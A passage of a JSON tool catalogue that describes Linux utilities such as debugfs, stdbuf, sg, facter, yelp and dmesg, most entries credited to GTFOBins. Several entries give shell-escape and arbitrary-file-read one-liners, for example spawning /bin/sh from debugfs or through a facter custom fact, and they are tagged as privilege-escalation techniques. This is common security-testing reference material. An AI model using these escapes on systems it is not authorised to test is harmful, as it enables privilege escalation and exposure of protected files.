      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Hex dump or reverse hex dump",
    "examples": [
      {
        "description": "Basic usage with flag-a",
        "command": "xxd ${flag-a}"
      },
      {
        "description": "Display help message",
        "command": "xxd --help"
      }
    ],
    "execution": {
      "template": "xxd -a {flag-a} -b {flag-b} -c {flag-c} -e {flag-e} -g {flag-g}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system",
      "encryption",
      "batch"
    ],
    "id": "system-file-xxd",
    "install": [
      {
        "method": "apt",
        "package_name": "xxd",
        "commands": [
          "apt-get install -y xxd"
        ]
      }
    ],
    "name": "xxd",
    "namespace": "system:file:xxd",
    "parameters": [
      {
        "name": "flag-R",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": "'auto'",
        "description": "colorize the output; <when> can be 'always', 'auto' or 'never'",
        "aliases": [
          "-R"
        ],
        "flag": "-R"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "toggle autoskip: A single '*' replaces nul-lines. Default off",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "binary digit dump (incompatible with -ps). Default hex",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "format <cols> octets per line. Default 16 (-i: 12, -ps: 30)",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show offset in decimal instead of hex",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "little-endian dump (incompatible with -ps,-i,-r)",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-g",
        "template_key": "flag-g",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "number of octets per group in normal output. Default 2 (-e: 4)",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print this summary",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output in C include file style",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "stop after <len> octets",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set the variable name used in C include output (-i)",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "add <off> to the displayed file position",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output in postscript plain hexdump style",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "reverse operation: convert (or patch) hexdump into binary",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-r-2",
        "template_key": "flag-r-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "revert with <off> added to file positions found in hexdump",
        "aliases": [
          "-r",
          "-s"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "append terminating zero to C include output (-i)",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use upper case hex letters",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show version: \"xxd 2026-03-19 by Juergen Weigert et al.\"",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "ps",
        "type": "boolean",
        "required": false,
        "description": "output in postscript plain hexdump style.",
        "aliases": [
          "-ps"
        ],
        "flag": "-ps"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-hexdump",
      "system-file-od"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# zless\n\nzless is a command-line utility. View compressed files page by page Can leverage capabilities from: less.\n",
    "_source": "zless.md",
    "allowed-tools": [
      "zless"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "View compressed files page by page; can read arbitrary files.",
    "examples": [
      {
        "description": "Leverage less capabilities",
        "command": "zless /path/to/input-file"
      }
    ],
    "execution": {
      "template": "zless",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "system-file-zless",
    "install": [
      {
        "method": "apt",
        "package_name": "gzip",
        "commands": [
          "apt-get install -y gzip"
        ]
      }
    ],
    "name": "zless",
    "namespace": "system:file:zless",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/zless/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "debugfs.md",
    "allowed-tools": [
      "debugfs",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "ext2/ext3/ext4 filesystem debugger, can spawn a shell from the debugger CLI.",
    "examples": [
      {
        "description": "Spawn a shell from the debugfs CLI",
        "command": "debugfs\n!/bin/sh\n"
      }
    ],
    "execution": {
      "template": "debugfs",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-filesystem-debugfs",
    "install": [
      {
        "method": "apt",
        "package_name": "e2fsprogs",
        "commands": [
          "apt-get install -y e2fsprogs"
        ]
      }
    ],
    "name": "debugfs",
    "namespace": "system:filesystem:debugfs",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/debugfs/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "dmidecode.md",
    "allowed-tools": [
      "dmidecode",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File write output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "DMI/SMBIOS table decoder, can write files via --dump-bin with crafted SMBIOS data.",
    "examples": [
      {
        "description": "Write a file via dmidecode dump-bin",
        "command": "dmidecode --no-sysfs -d x.dmi --dump-bin /path/to/output-file"
      }
    ],
    "execution": {
      "template": "dmidecode --no-sysfs -d x.dmi --dump-bin {output}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-firmware-dmidecode",
    "install": [
      {
        "method": "apt",
        "package_name": "dmidecode",
        "commands": [
          "apt-get install -y dmidecode"
        ]
      }
    ],
    "name": "dmidecode",
    "namespace": "system:firmware:dmidecode",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/dmidecode/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n# sg\n\nsg is a command-line utility. Switch group ID utility that can spawn a shell; can also spawn an interactive shell.\n",
    "_source": "sg.md",
    "allowed-tools": [
      "sg"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Execute command with a different group ID; can spawn an interactive shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "sg $(id -ng)"
      }
    ],
    "execution": {
      "template": "sg",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-group-sg",
    "install": [
      {
        "method": "apt",
        "package_name": "shadow-utils",
        "commands": [
          "apt-get install -y shadow-utils"
        ]
      }
    ],
    "name": "sg",
    "namespace": "system:group:sg",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/sg/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# yelp\n\nyelp is a command-line utility. GNOME help viewer; can also read arbitrary files.\n",
    "_source": "yelp.md",
    "allowed-tools": [
      "yelp"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "GNOME help viewer; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, unprivileged)",
        "command": "yelp man:/path/to/input-file"
      }
    ],
    "execution": {
      "template": "yelp",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "system-help-yelp",
    "install": [
      {
        "method": "apt",
        "package_name": "yelp",
        "commands": [
          "apt-get install -y yelp"
        ]
      }
    ],
    "name": "yelp",
    "namespace": "system:help:yelp",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/yelp/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "facter.md",
    "allowed-tools": [
      "facter",
      "ruby",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Ruby code execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "System inventory and configuration tool, can execute Ruby code via custom facts.",
    "examples": [
      {
        "description": "Execute Ruby code via facter custom fact",
        "command": "mkdir -p /tmp/custom_facts\necho \"Facter.add('x') { setcode { system('/bin/sh') } }\" >/tmp/custom_facts/x.rb\nfacter -p custom_facts=/tmp/custom_facts x\n"
      }
    ],
    "execution": {
      "template": "facter -p custom/fact.rb",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-info-facter",
    "install": [
      {
        "method": "gem",
        "package_name": "facter",
        "commands": [
          "gem install facter"
        ]
      }
    ],
    "name": "facter",
    "namespace": "system:info:facter",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/facter/"
      }
    ],
    "related_tools": [
      "puppet",
      "ruby"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "fastfetch.md",
    "allowed-tools": [
      "fastfetch",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "System information tool, can read files via custom config.",
    "examples": [
      {
        "description": "Read a file via fastfetch",
        "command": "fastfetch /path/to/file"
      }
    ],
    "execution": {
      "template": "fastfetch --file /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-info-fastfetch",
    "install": [
      {
        "method": "apt",
        "package_name": "fastfetch",
        "commands": [
          "apt-get install -y fastfetch"
        ]
      }
    ],
    "name": "fastfetch",
    "namespace": "system:info:fastfetch",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/fastfetch/"
      }
    ],
    "related_tools": [
      "neofetch"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "getent.md",
    "allowed-tools": [
      "getent",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Get entries from databases like passwd, hosts, can read files.",
    "examples": [
      {
        "description": "Read a file via getent",
        "command": "getent passwd /path/to/file"
      }
    ],
    "execution": {
      "template": "getent passwd /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-info-getent",
    "install": [
      {
        "method": "apt",
        "package_name": "libc-bin",
        "commands": [
          "apt-get install -y libc-bin"
        ]
      }
    ],
    "name": "getent",
    "namespace": "system:info:getent",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/getent/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "neofetch.md",
    "allowed-tools": [
      "neofetch",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "System info display, can execute commands via custom config.",
    "examples": [
      {
        "description": "Execute command via neofetch config",
        "command": "neofetch --config /path/to/config"
      }
    ],
    "execution": {
      "template": "neofetch --config /path/to/config",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-info-neofetch",
    "install": [
      {
        "method": "apt",
        "package_name": "neofetch",
        "commands": [
          "apt-get install -y neofetch"
        ]
      }
    ],
    "name": "neofetch",
    "namespace": "system:info:neofetch",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/neofetch/"
      }
    ],
    "related_tools": [
      "fastfetch"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# stdbuf\n\nstdbuf is a command-line utility. Control standard I/O buffering for commands; can also spawn an interactive shell.\n",
    "_source": "stdbuf.md",
    "allowed-tools": [
      "stdbuf"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Control standard I/O buffering; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "stdbuf -i0 /bin/sh"
      }
    ],
    "execution": {
      "template": "stdbuf",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-io-stdbuf",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "stdbuf",
    "namespace": "system:io:stdbuf",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/stdbuf/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# tee — Duplicate Stream Content\n\ntee reads from standard input and writes to both standard output and one or more files. It is the canonical Unix tool for simultaneously displaying and capturing command output — the essential bridge between `stdout`-producing tools and `file`-consuming tools.\n\n## Pipeline Role\n\ntee serves as the redirect transform in artifact pipelines:\n\n```\ntool producing stdout → tee → file on disk → tool consuming file\n```\n\nFor example:\n\n```bash\nnmap -sS target.com | tee scan-output.txt\ntar -czf archive.tar.gz scan-output.txt\n```\n\nThis pattern: `nmap` (produces `network.scan.nmap.xml`) → `tee` (redirects to file `filesystem.directory.contents`) → `tar` (consumes `filesystem.directory.contents`) is the canonical transformation pipeline for artifact type mismatches.\n\n## Common Usage\n\n| Command | Effect |\n|---------|--------|\n| `cmd \\| tee file` | Capture while viewing |\n| `cmd \\| tee -a file` | Append to existing log |\n| `cmd \\| tee file1 file2` | Duplicate to multiple files |\n| `cmd \\| tee /dev/tty` | Write to terminal directly |\n",
    "_source": "tee.md",
    "allowed-tools": [
      "tee",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "filesystem.directory.contents",
        "description": "Captured output written to a file",
        "trust_level": "verified"
      },
      {
        "type": "text.plain",
        "description": "Passthrough stdout text",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "data.io.split",
      "data.io.duplicate",
      "filesystem.io.capture"
    ],
    "contract": {
      "inputs": [
        {
          "type": "text.plain",
          "description": "Input stream to duplicate",
          "mime": "text/plain"
        }
      ],
      "outputs": [
        {
          "type": "filesystem.directory.contents",
          "description": "Output captured to a file on disk"
        },
        {
          "type": "text.plain",
          "description": "Pass-through copy of input to stdout",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Reads from standard input and writes to both standard output and one or more files simultaneously.",
    "examples": [
      {
        "description": "Capture command output to a log file while viewing",
        "command": "nmap -sS target | tee scan.log"
      },
      {
        "description": "Append output to an existing file",
        "command": "curl https://api.example.com | tee -a results.txt"
      },
      {
        "description": "Display `ls` output to the user, but also write it to the given file.",
        "command": "ls | tee outfile.txt"
      },
      {
        "description": "As above, but append the data; previous file's data remains intact while new data is added at the end of the file.",
        "command": "ls | tee -a outfile.txt"
      },
      {
        "description": "Pipe the standard output of a given command into `tee`, which then displays it to the user and sending the data to files `one`, `two`, and `three`.",
        "command": "[COMMAND] | tee one two three"
      },
      {
        "description": "Workaround to output data to a file, with root privileges.",
        "command": "echo 3 | sudo tee /proc/sys/vm/drop_caches"
      },
      {
        "description": "Pipe the current Vim buffer to a shell process, which in this case is `tee`. This is especially useful as a shortcut added to `.vimrc` or similar.",
        "command": ":w !sudo tee %"
      }
    ],
    "execution": {
      "template": "tee {append} {ignore-interrupts} {flag-p}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout"
    ],
    "id": "system-io-tee",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "tee",
    "namespace": "system:io:tee",
    "parameters": [
      {
        "name": "append",
        "template_key": "append",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "append to the given FILEs, do not overwrite",
        "aliases": [
          "-a",
          "--append"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "operate in a more appropriate MODE with pipes --output-error[=MODE] set behavior on write error. See MODE below --help display this help and exit --version output version information and exit",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "ignore-interrupts",
        "template_key": "ignore-interrupts",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore interrupt signals",
        "aliases": [
          "-i",
          "--ignore-interrupts"
        ],
        "flag": "-i"
      },
      {
        "name": "output_error",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--output-error"
        ],
        "flag": "--output-error"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "GNU Coreutils tee",
        "url": "https://www.gnu.org/software/coreutils/manual/html_node/tee-invocation.html"
      }
    ],
    "related_tools": [
      "cat",
      "dd",
      "redirect"
    ],
    "risk_level": "low",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "captured-output"
      ],
      "consumes": [
        "stream-input"
      ]
    }
  },
  {
    "_body": "\n# dmesg — Kernel Ring Buffer\n\ndmesg prints kernel ring buffer messages. The `-rF` flag reads from a file as raw log data, useful for file read. The `-H` flag spawns a less pager for interactive browsing, which can be escaped to shell.\n",
    "_source": "dmesg.md",
    "allowed-tools": [
      "dmesg",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "system.kernel.log",
        "description": "Kernel ring buffer messages",
        "mime": "text/plain",
        "trust_level": "community"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "system.kernel.log",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file read via -rF flag"
        }
      ],
      "outputs": [
        {
          "type": "system.kernel.log",
          "description": "Kernel log or file content",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Print kernel ring buffer messages, can read files via raw format flag and spawn less pager.",
    "examples": [
      {
        "description": "Read arbitrary file via raw format flag",
        "command": "dmesg -rF /path/to/input-file"
      },
      {
        "description": "Spawn less pager via human-readable output",
        "command": "dmesg -H"
      }
    ],
    "execution": {
      "template": "dmesg {rF} {H}",
      "sandbox": "execFile",
      "timeout_seconds": 10,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-kernel-dmesg",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "name": "dmesg",
    "namespace": "system:kernel:dmesg",
    "parameters": [
      {
        "name": "rF",
        "type": "file",
        "required": false,
        "description": "Read raw log from file",
        "aliases": [
          "-rF"
        ],
        "flag": "-rF"
      },
      {
        "name": "H",
        "type": "string",
        "required": false,
        "description": "Human readable output",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "dmesg man page",
